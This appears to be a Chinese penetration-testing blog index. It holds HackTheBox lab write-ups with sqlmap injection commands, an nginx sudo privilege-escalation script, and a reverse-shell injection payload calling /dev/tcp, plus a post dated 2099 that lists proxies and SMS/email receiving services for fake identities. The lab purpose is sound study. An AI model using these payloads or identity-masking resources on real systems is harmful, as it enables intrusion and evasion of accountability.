wubba lubba dub dub.
post @ 2099-05-09

信息搜集

信息搜集大致可分为两部分,被动信息搜集和主动信息搜集,主要需要搜集目标的组织架构,资产信息和人员信息等,一次好的信息搜集是渗透测试成功的必备基础

假身份准备

渗透过程中必要准备假身份,邮箱接码,短信接码平台
假信息生成:xialiao插件(bp)
https://github.com/smxiazi/xia_Liao/releases

代理池
https://www.proxy-list.download/HTTP
https://awmproxy.net/freeproxy.php
https://github.com/zqHero/FreeIpAgent/blob/master/Ips.txt
https://www.kuaidaili.com/free/
http://www.ip3366.net/free/
https://www.89ip.cn/
http://www.kxdaili.com/dailiip.html
https://www.zdaye.com/Free/
https://proxy.scdn.io/
https://proxy.ip3366.net/free/
https://list.proxylistplus.com/Fresh-HTTP-Proxy-List-1

免实名流量卡:
http://bk.eyshop.cn/?thread-1.htm

手机接码:
https://www.uomsg.com/appweb/main.html
https://www.smsonline.cloud/zh/country/china
https://sms.qisms.com/index
https://sms-activate.org/

邮箱接码:
所谓的十分钟邮箱类
http://www.yopmail.com/zh/
https://10minutemail.com/
https://10minutemail.net/
https://www.guerrillamail.com/zh/inbox
http://www.fakemailgenerator.com/
https://temp-mail.org/en/
https://www.guerrillamail.com/
http://tool.chacuo.net/mailsend
https://maildrop.cc/
http://tool.chacuo.net/mailanonymous
https://tempmail.altmails.com/
https://www.snapmail.cc/
https://www.linshi-email.com/

匿名邮箱
https://mail.protonmail.com/inbox
https://www.fastmail.com/
https://github.com/xyfir/ptorx
https://tutanota.com/

漏洞库

Read More
post @ 2025-05-30

Keeper

来源:HackTheBox

难度:Easy

nmap -T4 -A -sV -p- 10.10.11.227

扫出来22,80两个端口,访问80发现是一个后台,上网查询相关信息后找到默认账号密码:root/password
登陆后浏览网页,发现在用户管理中存在这样的信息:

尝试用这些信息登录ssh,成功拿下
来到提权部分,一进去shell之后ls看到当前目录下有一个RT……的压缩包,解压出来这么一些文件:

下面请看wp(偷下懒):




Let’s do a quick Google search using the keywords dgrød med fløde .

总结就是通过那个keepass数据库导出putty的私钥,然后恢复成能用的然后就可以以root权限登陆了

Read More
post @ 2025-05-22

Soccer

来源:HackTheBox

难度:Easy

nmap -T4 -A -sV -p- 10.10.11.194

扫出来22,80,9091三个端口,访问80发现是一个博客网站,爆破目录发现/tiny目录

dirsearch -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# OSCP允许使用dirsearch,可以用-w参数指定字典,建议使用这种办法爆破,有hostname就不要爆ip,可能会出问题


知道这是一个叫Tiny File Manager的CMS,我们上网查询其默认密码,查到是admin/admin@123,直接登进去了,然后里面有一个文件上传点,可以直接上传php,传完之后打一个php反弹shell,拿到www-data权限,然后知道是用了nginx中间件,查看其配置查找是否有旁站,看到这样一个文件:

看到有soc-player.htb猜测有这么一个子站soc-player.soccer.htb,访问发现真有,此时我们修改host文件,将此站点解析到10.10.11.194,然后猜测login目录,直接杀到登录口:

没有账号,尝试注册一个登录,进入后发现有一个验票的功能点,输入门票id可以验证门票是否有效,一秒猜出漏洞类别,猜测会有sql注入,抓包,发现是用的websocket来通信的,这下知道开的9091端口是拿来干嘛的了:


尝试如下payload:

{"id":"1 or 1=1"} // 返回存在票据
{"id":"1 or 1=2"} // 返回不存在票据

基本坐实sql注入,是盲注,那么如何使用sqlmap对websocket进行注入呢,其实很简单,payload如下(注意:OSCP考试并不允许使用sqlmap):

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch

# --batch 不询问全部默认
# * 星号告诉sqlmap对这里进行注入
Read More
post @ 2025-05-09

Intentions

来源:HackTheBox

难度:Hard

nmap -T4 -A -sV -p- 10.10.11.243

没有什么特别的端口,只有常规22,80,直接访问80发现是一个登录口,注册登陆后测试了很多没有思路,看wp说要二次注入,并且用的是sqlmap(OSCP考试不允许使用)

SQLMAP二次注入

浏览网页以及wp,最后发现只有profile里的偏好设置会读取用户输入进入数据库,而feed会根据这个偏好设置读取数据库返回内容

偏好设置:

feed返回:

经过测试,我们发现在设置偏好的时候,假设填入food , animal这样的语句,会被替换成这样food,animal,其中的空格会自动替换成空,猜测有过滤措施,所以使用sqlmap的时候需要尝试使用其自带的“将所有空格换成注释”的脚本

Read More
post @ 2025-05-07

Broker

来源:HackTheBox

难度:Easy

nmap -T4 -A -sV -p- 10.10.11.243

发现目标开放了不少端口,比如22,80,61616等等,且运行着activemq服务,直接尝试访问80端口,有弱口令admin/admin秒破,浏览网站发现activemq版本:

搜索版本,找到CVE,脚本一把梭,CVE编号:CVE-2023-46604
需要注意的是构造XML的POC时,敏感字符要用xml实体转义方法来转义
拿到一个ttyshell,马上看sudo:

可以以root身份运行nginx,在中文网络搜索nginx提权,无法找到有效内容,改成英文搜索nginx Privilege Escalation成功找到一个提权脚本
https://github.com/DylanGrl/nginx_sudo_privesc

#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
	server {
	        listen 1339;
	        root /;
	        autoindex on;
	        dav_methods PUT;
	}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"

执行后直接在靶机上ssh密钥登录root即可

Read More
post @ 2025-04-28

Help

来源:HackTheBox

难度:Medium

nmap -O -A -Pn -sV -sS -p- 10.10.10.121

发现目标开放了80,22,3000端口,并运行着一些服务:

常规思路对80端口进行目录扫描,发现/support/目录跑着一个HelpDeskZ的服务,递归扫描该目录发现readme.html文件,查看得到版本为1.0.2,searchsploit发现有两个漏洞,一个未授权文件上传,一个登陆后SQL,访问页面发现提交工单处有文件上传,此时我们已经有三个思路,逐个测试发现未授权文件上传不可行,剩下两个方法均可以,这里分别说明

登陆后SQL

既然需要登陆后SQL,首要目标就是要登录,我们要如何获取这个登陆账号呢,此时3000端口上运行的服务就显得很可疑了,访问显示如下内容:

尝试结合nmap结果,搜索如下关键词Express js query language找到相关内容(wp是这样写的,能找到graphql,但我不行,注意搜索内容是尽量使用国外环境,因为题目更加面向国外),知道用的语言是graphql,访问/graphql目录显示query参数缺失:

尝试使用常见值如user password等作为参数内容,使用graphql语句查询(形如{user},{user{password}}这样神似json的格式):

curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq

# 相当于请求了:http://10.10.10.121:3000/graphql?query=%7Buser%7D
# url编码了"query={user}"

提示需要user的subfields:

用形如{user{password}}的语句查询:

curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username} }' | jq

# 返回了用户名,继续查密码

curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username,password} }' | jq
Read More
post @ 2025-04-24

Sau

来源:HackTheBox

难度:Easy

nmap -O -A -Pn -sV -sS -p- 10.10.11.224

发现目标开放了80,22,55555,8338,并且80和8338端口处于过滤状态,猜测他开在127.0.0.1上导致不能直接访问
直接访问55555,发现是一个requests baskets的网页组件,测试没有结果,查看其github的issue页面发现之前提过ssrf漏洞的issue:

并且附上了poc地址,尝试利用POC,成功用ssrf漏洞访问到靶机本地的80和8338端口,又是一个新的组件,searchsploit发现有POC,打POC getshell,随后拿一个ttyshell
使用sudo -l 检查sudo配置:

发现可以以root权限运行systemctl,猜测提权漏洞可能与systemctl有关,遂查询版本,在searchsploit中找到相关漏洞:

(systemctl —> systemd)
中文解释:
漏洞描述
Systemd 是一个Linux系统的初始化系统和服务管理器。
该项目受影响版本存在权限管理不当漏洞,当Linux中的LESSSECURE未设置为1且sudoers文件对于执行”systemctl status”等命令没有限制时,攻击者则可将终端窗口调小随后执行sudo systemctl ,迫使系统以默认的root权限自动调用”less”命令输出结果,进而实现权限提升
解决建议
“将组件 Systemd 升级至 247 及以上版本”

根据漏洞提权即可,经典user.txt和/root目录找flag

Read More
post @ 2025-01-26

蓝队简介

前期工作

资产梳理:
1.询问调查熟悉对外开放的资产(ip,域名,端口等具体的情况)
2.自己使用工具,如nmap等扫描,发现完善资产掌握状况


风险评估:
根据条件提前进行简单或复杂的渗透测试,了解漏洞情况(哪些要马上修复,哪些可以缓一缓),评估其危害以及修复漏洞的兼容性,未雨绸缪


应急响应方案制定:
面对 勒索 APT 等不同场景,制定不同的应对方案,要落实具体由谁去处理,资产由谁负责,对应的联系人是谁


其他:
如针对钓鱼邮件防范的员工安全意识培训,等等

值守工作

Read More
post @ 2025-01-16

Updown

来源:HackTheBox

难度:Medium

nmap -O -A -Pn -sV -sS -p- 10.10.11.177

# 在vps上对10.10.11.177进行扫描

发现目标开启了80,22端口,对应web,ssh服务,访问80端口发现有web服务,并且域名为siteisup.htb,随机在vps和本地添加解析,一番操作无果,甚至还有一个xss的兔子洞,尝试目录扫描:

# 使用dirb进行逐级递归扫描
dirb http://10.10.11.177/ -r
dirb http://10.10.11.177/dev/ -r

# 官方wp 使用gobuster逐级扫描
gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://siteisup.htb/dev -w /usr/share/wordlists/dirb/common.txt

# ffuf
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/dev/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/dev/.FUZZ
# 最后一个是尝试隐藏目录

发现/dev/.git泄露,使用工具git-dumper来利用(githack居然不行)

pip install git-dumper # 安装

git-dumper http://siteisup.htb/dev/.git dev
# 最后那个dev是自己取的文件夹名 可以随便填一个

# 另一种方法 (这个方法很麻烦故不采用 仅记录wget的用法)
wget -c -r -np -k -L -p http://siteisup.htb/dev/.git/
# 这样使用wget可以将整个.git递归下载下来
# 然后用GitKraken查看有用的数据
https://www.gitkraken.com/download

使用工具发现有一个.htaccess文件值得注意,查看内容:

大意是在http头部添加了一个Special-Dev: only4dev的键值对,如果头部没有这个,就不允许访问,尝试带上头部去访问/dev路径发现没有变化,这不禁让我们思考,究竟是访问什么才需要带上这个头部呢
根据信息搜集的知识点,我们可以尝试爆破一下子域名:

# 官方wp ffuf
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w 
/root/allinsub.txt
# 先不加任何限制条件地扫描,发现错误的子域名数据包的大小均为1131,过滤这个大小再次扫描
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w 
/root/allinsub.txt -fs 1131

# gobuster
gobuster vhost -w /root/allinsub.txt -t 50 -u siteisup.htb
Read More
post @ 2025-01-15

Busqueda

来源:HackTheBox

难度:Eazy

nmap -O -A -Pn -sV -sS -p- 10.10.11.208

# 在vps上对10.10.11.208进行扫描

发现目标开启了80,22端口,对应web,ssh服务
访问80端口,发现有网页,抓包发现github项目地址:

https://github.com/ArjunSharda/Searchor


该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search(“Hello, World!”)。整理下思路并在python中进行测试,发现当传递的参数为:1’+print(‘1’)+’时会将print中的字符串进行输出,说明进行了命令执行。
然后在抓取的数据包中进行测试,将输入的数据修改为:1’+print(‘234’)+’,但是并未执行print语句。后面对+进行了编码后:1’%2bprint(‘234’)%2b’,print命令可以正常执行。
我们就进行shell反弹,语句:1’%2b__import__(“os”).system(“bash -i >&/dev/tcp/10.10.14.50/6688 0>&1”)%2b’,但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1’%2bprint(import(‘os’).system(“id”))%2b’,不过这里发现了用户名:svc。

摘自:https://www.cnblogs.com/upfine/p/17408873.html


使用命令尝试直接读取/home/svc/user.txt /home/svc/password.txt /home/svc/proof.txt (flag多在这些文件里)在user.txt中成功读取flag
使用命令查看当前目录,发现.git目录,遂尝试读取里面的config文件,发现cody用户的密码:

尝试使用这个密码和svc账户登录ssh成功,登陆后使用sudo -l查看可用sudo执行的命令:

运行,发现可以填参数,在跑full-checkup参数的时候出错:

进入到脚本目录,发现目录中还有一个full-checkup.sh,在该目录下运行程序正常,猜测脚本文件调用了当前目录下的full-checkup.sh,而因为我们第一次运行的目录中没有full-checkup.sh所以程序错误
此时我们可以设想,如果我们自己写一个full-checkup.sh给脚本调用,或许可以以sudo权限进行恶意操作,cd到/tmp目录,开始编写payload:

Read More
⬆︎TOP